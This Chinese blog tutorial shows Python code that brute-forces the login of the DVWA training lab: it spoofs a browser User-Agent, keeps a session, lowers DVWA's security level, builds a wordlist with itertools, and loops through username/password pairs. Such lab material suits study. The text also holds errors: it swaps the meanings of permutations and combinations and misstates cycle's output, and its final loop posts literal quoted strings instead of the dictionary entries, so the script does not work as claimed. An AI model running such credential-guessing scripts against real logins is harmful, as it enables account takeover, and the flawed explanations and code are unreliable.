学习Python渗透第十二天:用Python实现暴力破解

用python编写登录程序:

接下来,我们来编写一个可以实现登录功能的Python程序,这里需要用到requests库,这是一个专门用来处理HTTP的库,利用这个库发起请求十分简单,例如我们需要发送POST请求,需要用到requests.post()函数,这个函数比较复杂,常用格式如下。

import requests
requests.post(url='',headers='',cookies='',data='')

其中url是要访问的地址,headers是HTTP头部,cookies是访问过程中产生的标识,data是使用字典格式表示的要请求的参数,在登录过程中,我们暂时先不考虑cookies的构造,data是需要在代码中生成的,这里我们使用DVWA靶场来演示如何暴力破解登录。这里需要将DVWA登录页面的3个字段保存为字典格式,此次登录的用户名和密码分别为"admin"和"password"

data = {
    "username":"admin",
    "password":"password",
    "Login":"Login"
}

提交的url地址如下:

url = "http://192.168.1.1/dvwa/login.php"

这种情况下构造出的数据包会显示是由python产生的,但是通常数据包是由浏览器产生的,所以我们需要自己加上头部信息,为了让这个数据包显得更为真实

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0"
}

然后我们将这些信息填入请求包里面

requests.post(url=url,headers=headers,data=data)

然后向服务器进行发送,如果跳转到index.php,那么说明我们破解成功,如果跳转失败,证明密码和用户名错误。

那我们可不可以通过python来查看是否跳转成功呢,当然可以,我们发送的数据包会返回一个responce对象,我们可以通过查看这个对象的内容,来查看我们是否用户名和密码正确。

res = requests.post(url=url,headers=headers,data=data)

if "Login failed" in res.text:
    print("登录失败")

else:
    print("登录成功")

其中res.text是表示的响应页面的内容,还有很多可以帮助我们了解是否登录成功的元素

res.content:获取响应页面的二进制页面

res.status_code:获取响应状态码

res.headers:获取响应关联头部

res.cookies:获取与此响应关联的cookies

res.url:获取响应的URL地址

res.history:通过这个方法可以查看这个响应界面是从哪个地方跳转过来的

res.encoding:获取响应内容的编码格式

如何在Python程序中保持登录状态

我们使用Python编写的程序登录到DVWA之后,还需要访问其他页面,但是在网站中HTTP请求是无状态的,也就是说即使用户第一次和服务器连接并且登录成功后,当他第二次向服务器发送HTTP请求,服务器还是不认识你。

cookies的出现就是为了解决这个问题,用户第一次登录服务器后返回一些数据给浏览器,这些数据就是cookies,然后浏览器将这些数据保存到本地,当该用户第二次发送请求时,就会自动携带上次请求产生的cookies,服务器通过这个cookies就能判断用户是谁了,cookies的存储数量有限,不同浏览器有不同的存储大小,但一般不超过4KB,因此使用cookies只能存储一些小量的数据。

另外,requests库提供了一个叫session的类,来实现客户端与服务端的会话保持,使用session类成功登录了某个网站,则再次使用session类请求该网站的其他页面时,都会默认使用该session类之前使用的cookies等参数,之前没有使用session类的POST请求如下:

res = requests.post(url=url,headers=headers,data=data)

使用了session类的POST的请求如下:

session = requests.session()
res = session.post(url=url,headers=headers,data=data)

后者会在使用POST请求进行登录时,会将用户的信息保存在session类中,之后再发送HTTP请求时,就会携带用户的登录信息。

在DVWA中提供了三种难度,分别是"Low","Medium","High",我们可以在http://192.168.1.1/dvwa/security.php这个页面对难度进行修改,下面我们编写一个程序,这个程序首先实现在login.php页面的登录,然后将难度修改为Low,整个过程使用requests.session()函数保持登录状态。

import requests

headers ={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0"
}
data = {
    "username":"admin",
    "password":"password",
    "Login":"Login"
}

url = "http://192.168.1.1/dvwa/login.php"

session = requests.session()
res = session.post(url=url,headers=headers,data=data)
security_url="http://192.168.1.1/dvwa/security.php"

security_data = {
    "security":"low",
    "seclev_submit":"submit"
}

session.post(security_url,data=security_data,headers=headers)

用Python编写针对登录的暴力破解程序

我喜欢把暴力破解叫做密码枚举,就是一个一个的试,通常我们会用到一个字典文件,里面有各式各样的密码,然后一个一个的拿去试。

用python生成字典文件

在这个程序中我们需要用到一个新的模块——itertools,这个模块是python内置的,这个模块提供了很多函数,其中最为基础的是3个无穷循环器函数。

count()函数:这个函数的作用是产生递增的序列,例如count(1,5)产生从1开始递增序列,,每次增加5,即1,6,11,16,。。。。

cycle()函数:这个函数的作用是重复序列中的元素,比如cycle("hello")将序列中的元素重复,即h,e,e,l,l,o,h,e,e,l.....

repeat()函数:这个函数的作用是重复元素,比如repeat(100)即100,100,100,100.。。。。

除了这些基本的函数,还有一些用来实现无穷循环器的组合操作的函数,这些函数适用于生成字典文件。

product()函数:它可以用来获得多个无穷循环器的笛卡尔积,例如product("xyz",[0,1]),得到的结果就是x0,y0,z0,x1,y1,z1

permutations()函数:比如permutations('abcd',2),他从abcd中挑选两个元素,比如ab,bc,并将所有结果排序,返回作为新的无穷循环器,这些元素的组合是没有顺序的,可以同时生成cd和dc

combinations('abc',2):它从abcd中挑选两个元素,比如ab,bc,并将所有结果排序,返回作为新的无穷循环器,这些元素的组合是有顺序的,所以只能生成cd

下面我们来生成一个字典:

(1)导入itertools模块

import itertools

(2)指定生成文件的字符,这里我们使用所有英文字符和数字,没有考虑大小写和特殊字符

words = "abcdefghijklmnopqrstuvwxyz1234567890"

(3)接下来我们就要使用模块中的无穷循环器来生成字典文件,这里我们选择permutations()函数,这里我们只生产两位密码。

temp =itertools.permutations(words,2)

(4)然后我们打开一个用于保存结果的记事本文件

password = open('pass.txt','a')

(5)使用一个for循环将密码存入这个记事本

for i in temp:
    password.write("".join(i))
    password.write("".join("\n"))

完整程序如下:

import itertools
words = "abcdefghijklmnopqrstuvwxyz1234567890"

temp =itertools.permutations(words,2)

password = open('pass.txt','a')

for i in temp:
    password.write("".join(i))
    password.write("".join("\n"))

password.close()

我们可以看到,已经生成了

除了自己生成字典之外,我们还可以去网上找常用的弱口令字典

用python编写一个DVWA登录的暴力破解程序

下面给出一个暴力破解程序,这个程序中我们需要读取字典文件中的记录,常用的字典文件其实就是txt格式的文件,例如password.txt.在python中访问这个文件时,需要用到open函数,下面给出完整的程序:

with open("user.txt",'r',encoding='UTF-8') as u:
    for username in u:
        with open('pass.txt','r',encoding='UTF-8') as p:
            for password in p:
                url = "http://192.168.1.1/dvwa/login.php"
                data ={
                "username":"username.strip()",
                "password":"password.strip()",
                "Login":"Login"
                }
                print('----------------------------')
                print('用户名',username.strip())
                print('密码:',password.strip())
                r = requests.post(url,data=data)
                if 'Login failed' in r.text:
                    print("暴力破解失败,请更换字典")
                else:
                    print("暴力破解成功")

今天的学习分享就到这里啦,如果有什么不对还请大家指出,谢谢大家的观看。

  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值